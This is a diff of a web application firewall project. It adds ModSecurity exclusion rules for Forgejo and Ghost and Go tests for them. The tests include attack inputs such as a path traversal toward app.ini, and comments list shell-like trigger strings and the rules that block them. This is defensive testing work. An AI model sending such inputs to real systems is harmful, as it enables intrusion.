got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -324,6 +489,32 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
if got.Score >= drupalThreshold {
|
if got.Score >= drupalThreshold {
|
||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
r = request{
|
||||||
|
http.MethodPost,
|
||||||
|
"/fr" + drupalJSONPasswordReset,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
|
body = `{"name":"` + word + `"}`
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, crs, r, body)
|
||||||
|
if got.Score >= drupalThreshold {
|
||||||
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||||
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
"/fr" + drupalJSONPasswordReset,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
|
body := `{"mail":"` + address + `"}`
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
|
if got.Score >= drupalThreshold {
|
||||||
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -383,11 +574,42 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
{drupalEditAccount, "mail=python3"},
|
{drupalEditAccount, "mail=python3"},
|
||||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
||||||
} {
|
} {
|
||||||
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
sent.path + "?" + sent.field,
|
||||||
|
[]string{formData},
|
||||||
|
}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field)
|
got, _ := inspectBody(t, crs, r, sent.field)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The JSON field name keeps the rules beside json.name in the query, and
|
||||||
|
// on a path other than the password reset.
|
||||||
|
for _, target := range []string{
|
||||||
|
drupalJSONPasswordReset + "&json.name=python3",
|
||||||
|
drupalJSONRegister,
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
|
||||||
|
if got.Score < drupalThreshold {
|
||||||
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// So does the JSON field mail.
|
||||||
|
for _, target := range []string{
|
||||||
|
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
||||||
|
drupalJSONRegister,
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
|
||||||
|
if got.Score < drupalThreshold {
|
||||||
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,145 @@
|
|||||||
|
# Forgejo's fixes: on Forgejo's paths, some fields skip the rules that refused
|
||||||
|
# ordinary Forgejo requests there. Forgejo is a fork of gitea. A hostname that
|
||||||
|
# gets Forgejo's fixes gets gitea's too, so this file holds only what Forgejo
|
||||||
|
# sends and gitea does not. Each exclusion runs with the request, before the
|
||||||
|
# rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
|
# rules. Each comment names a request the rule refused.
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_forgejo. It sets it
|
||||||
|
# while SWW_APPS is unset, or lists forgejo for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_forgejo itself.
|
||||||
|
SecRule &TX:app_forgejo "@eq 0" \
|
||||||
|
"id:900670,phase:1,pass,nolog,skipAfter:END_FORGEJO"
|
||||||
|
|
||||||
|
# Forgejo's search of a wiki sends the text searched for in q, which skips
|
||||||
|
# these rules there:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932160: /bin/sh
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
|
||||||
|
"id:900680,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# Forgejo's search of a repository's code at a branch or a tag sends the text
|
||||||
|
# searched for in q. The search box on a repository's home page sends it there
|
||||||
|
# when Forgejo has no code indexer, as by default. A branch or tag name can
|
||||||
|
# hold a slash, as feat/docker-support does. q skips there the rules it skips
|
||||||
|
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
|
||||||
|
# Forgejo's searches there:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932160: /bin/sh
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
# Forgejo has no owner named api, so a path under /api/ gets none of this.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
|
||||||
|
"id:900681,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME "!@rx ^/api/" \
|
||||||
|
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||||
|
|
||||||
|
# A page opened from the results of that search has the search's address in
|
||||||
|
# Referer, which skips these rules then, as after gitea's searches (900601 in
|
||||||
|
# gitea.conf):
|
||||||
|
# 941110: <script>
|
||||||
|
# 941120: onClick={
|
||||||
|
# 941160: <img src=
|
||||||
|
# 942100: LIKE '%foo%'
|
||||||
|
# 944100: java.lang.Runtime
|
||||||
|
# A path under /api/ is left out here too.
|
||||||
|
SecRule REQUEST_HEADERS:Referer \
|
||||||
|
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
|
||||||
|
"id:900684,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
|
||||||
|
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||||
|
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
||||||
|
|
||||||
|
# Forgejo's search of a repository's releases, on its page and in the API,
|
||||||
|
# matches q against each release's title and tag. A tag name can hold a slash.
|
||||||
|
# q skips these rules there:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932160: /bin/sh
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
# Forgejo has no owner named api, so /api/v1/releases is not one.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
|
||||||
|
"id:900682,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# The API's search of a job's log sends the text searched for in q, which
|
||||||
|
# skips these rules there:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
SecRule REQUEST_FILENAME \
|
||||||
|
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
|
||||||
|
"id:900683,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# Forgejo's admin page searches the names of repositories in q on /admin/repos,
|
||||||
|
# which skips the list of command names (932260) there. It refused python3.
|
||||||
|
SecRule REQUEST_FILENAME "@streq /admin/repos" \
|
||||||
|
"id:900691,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# Forgejo renames a branch on its own path, where from and to name branches.
|
||||||
|
# They skip these rules:
|
||||||
|
# 932120: fix-powershell-module
|
||||||
|
# 932260: feat/docker-support
|
||||||
|
# They are read only while SWW_WAF_BODY_LIMIT is set, and skip nothing when the
|
||||||
|
# query has a parameter of the same name.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
||||||
|
"id:900666,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:from,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:to,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:to"
|
||||||
|
|
||||||
|
SecMarker END_FORGEJO
|
||||||
@@ -0,0 +1,169 @@
|
|||||||
|
package coreruleset_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/http"
|
||||||
|
"slices"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
|
)
|
||||||
|
|
||||||
|
// forgejo is Forgejo's name in SWW_APPS.
|
||||||
|
const forgejo = "forgejo"
|
||||||
|
|
||||||
|
// forgejoHost is the hostname of the tests of SWW_APPS that serves Forgejo.
|
||||||
|
const forgejoHost = "code.example"
|
||||||
|
|
||||||
|
func TestForgejoFixesApplyOnlyToAHostnameThatServesForgejo(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
forgejoHost: {forgejo}, otherHost: {wordpress},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search of a wiki, a search of the admin page, and a file name in
|
||||||
|
// Forgejo's flash cookie, which only Forgejo's fixes let through.
|
||||||
|
for _, fixed := range []struct {
|
||||||
|
request request
|
||||||
|
result coreruleset.Result
|
||||||
|
}{
|
||||||
|
{get("/alice/tools/wiki/search?q=python3"), matched(932260)},
|
||||||
|
{get("/admin/repos?q=python3"), matched(932260)},
|
||||||
|
{
|
||||||
|
get("/alice/tools", "Cookie: flash=success%3DFile%2Bpackage.json%2Bdeleted"),
|
||||||
|
matched(930120),
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
withHost(fixed.request, forgejoHost),
|
||||||
|
coreruleset.Result{},
|
||||||
|
)
|
||||||
|
wantResult(t, crs, withHost(fixed.request, otherHost), fixed.result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHostnameListingForgejoGetsGiteasFixesToo(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{forgejoHost: {forgejo}})
|
||||||
|
|
||||||
|
for _, fixed := range giteaFixed {
|
||||||
|
wantResult(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
withHost(fixed.request, forgejoHost),
|
||||||
|
coreruleset.Result{},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
|
||||||
|
// a wiki, of releases, of a job's log and of the admin page, from Forgejo's
|
||||||
|
// fixes, and the searches for a name, from gitea's. The search of code at a
|
||||||
|
// branch or tag is not one of them: there, as on gitea's search of code, q
|
||||||
|
// lets these attacks through.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var forgejoSearches = []string{
|
||||||
|
"/alice/tools/wiki/search",
|
||||||
|
"/alice/tools/releases",
|
||||||
|
"/api/v1/repos/alice/tools/releases",
|
||||||
|
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
|
||||||
|
"/admin/repos",
|
||||||
|
"/explore/repos",
|
||||||
|
"/explore/users",
|
||||||
|
"/alice/tools/branches",
|
||||||
|
"/alice/-/packages",
|
||||||
|
"/api/v1/packages/alice",
|
||||||
|
"/alice",
|
||||||
|
}
|
||||||
|
|
||||||
|
// forgejoAttacks are an SQL injection, a path traversal, a script injection
|
||||||
|
// and a shell command after a ";", as query values.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var forgejoAttacks = []string{
|
||||||
|
sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
|
for _, path := range forgejoSearches {
|
||||||
|
for _, attack := range forgejoAttacks {
|
||||||
|
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
|
||||||
|
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The same field in a form data body.
|
||||||
|
r := request{http.MethodPost, path, []string{formData}}
|
||||||
|
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
|
||||||
|
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
crs := atDefaults(t)
|
||||||
|
|
||||||
|
// /bin/sh and the hard values, which q lets through on the searches
|
||||||
|
// named in Forgejo's fixes and on those of branches and packages, stay
|
||||||
|
// refused in q on paths near them and in another field on them.
|
||||||
|
// /alice/wiki/search would be the code search of a repository named
|
||||||
|
// wiki, where gitea's fixes let q through. Forgejo has no owner
|
||||||
|
// named api, so the paths under /api/ here are not searches.
|
||||||
|
for _, target := range []string{
|
||||||
|
"/alice/tools/wiki/Home?q=",
|
||||||
|
"/alice/tools/wiki/search/x?q=",
|
||||||
|
"/api/wiki/search?q=",
|
||||||
|
"/alice/tools/wiki/search?other=",
|
||||||
|
"/alice/tools/search/branch?q=",
|
||||||
|
"/alice/tools/search/commit/0123abc?q=",
|
||||||
|
"/alice/tools/src/branch/main?q=",
|
||||||
|
"/api/tools/search/branch/main?q=",
|
||||||
|
"/alice/tools/search/branch/main?other=",
|
||||||
|
"/alice/tools/releases/tag/v1.0?q=",
|
||||||
|
"/alice/tools/releases/latest?q=",
|
||||||
|
"/api/v1/releases?q=",
|
||||||
|
"/alice/tools/releases?other=",
|
||||||
|
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
|
||||||
|
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
|
||||||
|
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
|
||||||
|
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
|
||||||
|
"/alice/tools/branches/x?q=",
|
||||||
|
"/alice/-/packages/npm/x?q=",
|
||||||
|
"/alice/tools/branches?other=",
|
||||||
|
} {
|
||||||
|
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
||||||
|
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||||
|
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Referer keeps its rules on a page opened from a path near the code
|
||||||
|
// search at a branch or tag.
|
||||||
|
for _, path := range []string{
|
||||||
|
"/alice/tools/search/branch",
|
||||||
|
"/alice/tools/search/commit/0123abc",
|
||||||
|
"/api/tools/search/branch/main",
|
||||||
|
} {
|
||||||
|
for _, attack := range []string{scriptTag, injection} {
|
||||||
|
referer := "Referer: http://example.com" + path + "?q=" + attack
|
||||||
|
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
||||||
|
t.Errorf("%s let through: %+v", referer, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,256 @@
|
|||||||
|
# Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
|
||||||
|
# ordinary Ghost requests there. Each exclusion runs with the request, before the
|
||||||
|
# rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
|
# rules. Each comment names a request a rule refused. An exclusion on a field of
|
||||||
|
# a body applies only when the query has no parameter of that name, so it
|
||||||
|
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
|
#
|
||||||
|
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
||||||
|
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
||||||
|
# and members call /members/api/. Coraza names a field of a JSON body by its
|
||||||
|
# path, so the title of the first post saved is json.posts.0.title.
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
|
||||||
|
# while SWW_APPS is unset, or lists ghost for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_ghost itself.
|
||||||
|
SecRule &TX:app_ghost "@eq 0" \
|
||||||
|
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
|
||||||
|
|
||||||
|
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
|
||||||
|
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
|
||||||
|
"id:900350,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:filter"
|
||||||
|
|
||||||
|
# search, the search for a member by name or address, skips four rules on the
|
||||||
|
# Admin API:
|
||||||
|
# 930120: search=.htaccess
|
||||||
|
# 932120: search=powershell
|
||||||
|
# 932250: search=ls -la
|
||||||
|
# 932260: search=python3
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
|
"id:900351,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:search,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:search,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:search,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:search"
|
||||||
|
|
||||||
|
# url, the address the editor looks up for an embed or a bookmark, skips two
|
||||||
|
# rules:
|
||||||
|
# 930120: url=https://github.com/example/site/blob/main/.htaccess
|
||||||
|
# 932120: url=https://example.com/blog/powershell-tips
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
|
||||||
|
"id:900352,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
||||||
|
|
||||||
|
# The fields a person types plain text into skip seven rules on the Admin API:
|
||||||
|
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
||||||
|
# 932120: the page's slug about-python3-powershell-htaccess
|
||||||
|
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
||||||
|
# 932260: the tag python3
|
||||||
|
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
|
||||||
|
# These fields hold plain text:
|
||||||
|
# title, name and slug of posts, pages, tags, labels, members, newsletters
|
||||||
|
# and snippets; a post's tags and a member's labels, by name or slug
|
||||||
|
# custom_excerpt, description, note and sender_name
|
||||||
|
# meta_title, meta_description, og_title, og_description, twitter_title and
|
||||||
|
# twitter_description
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
|
"id:900353,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
|
||||||
|
|
||||||
|
# name, the name a member saves at /members/api/, skips the same seven rules.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
||||||
|
"id:900359,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.name$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
|
||||||
|
|
||||||
|
# A member's email address skips 930120, 932120 and 932260, which refused
|
||||||
|
# erin.htaccess@example.com, dave.powershell@example.com and
|
||||||
|
# python3.dev@example.com. These fields hold it:
|
||||||
|
# members.<n>.email, when the admin adds or edits a member under
|
||||||
|
# /ghost/api/admin/members/
|
||||||
|
# email, when a member signs up or in at /members/api/
|
||||||
|
# An address holds no spaces, so it keeps 932250, which needs ls -la.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/members/" \
|
||||||
|
"id:900354,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.members\.\d+\.email$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.members\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.members\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.members\.\d+\.email$/"
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
||||||
|
"id:900360,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.email$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.email$/"
|
||||||
|
|
||||||
|
# A staff user's email address also skips 930120, 932120 and 932260, which
|
||||||
|
# refused erin.htaccess@example.com, dave.powershell@example.com and
|
||||||
|
# python3.dev@example.com. Each of these fields skips them only on its own path:
|
||||||
|
# username, signing in at /ghost/api/admin/session/
|
||||||
|
# setup.<n>.email, creating the first staff user
|
||||||
|
# password_reset.<n>.email, asking for a password reset
|
||||||
|
# users.<n>.email, saving a staff user's profile
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/session/" \
|
||||||
|
"id:900361,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.username$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.username$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.username$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.username$/"
|
||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/setup/" \
|
||||||
|
"id:900362,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.setup\.\d+\.email$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.setup\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.setup\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.setup\.\d+\.email$/"
|
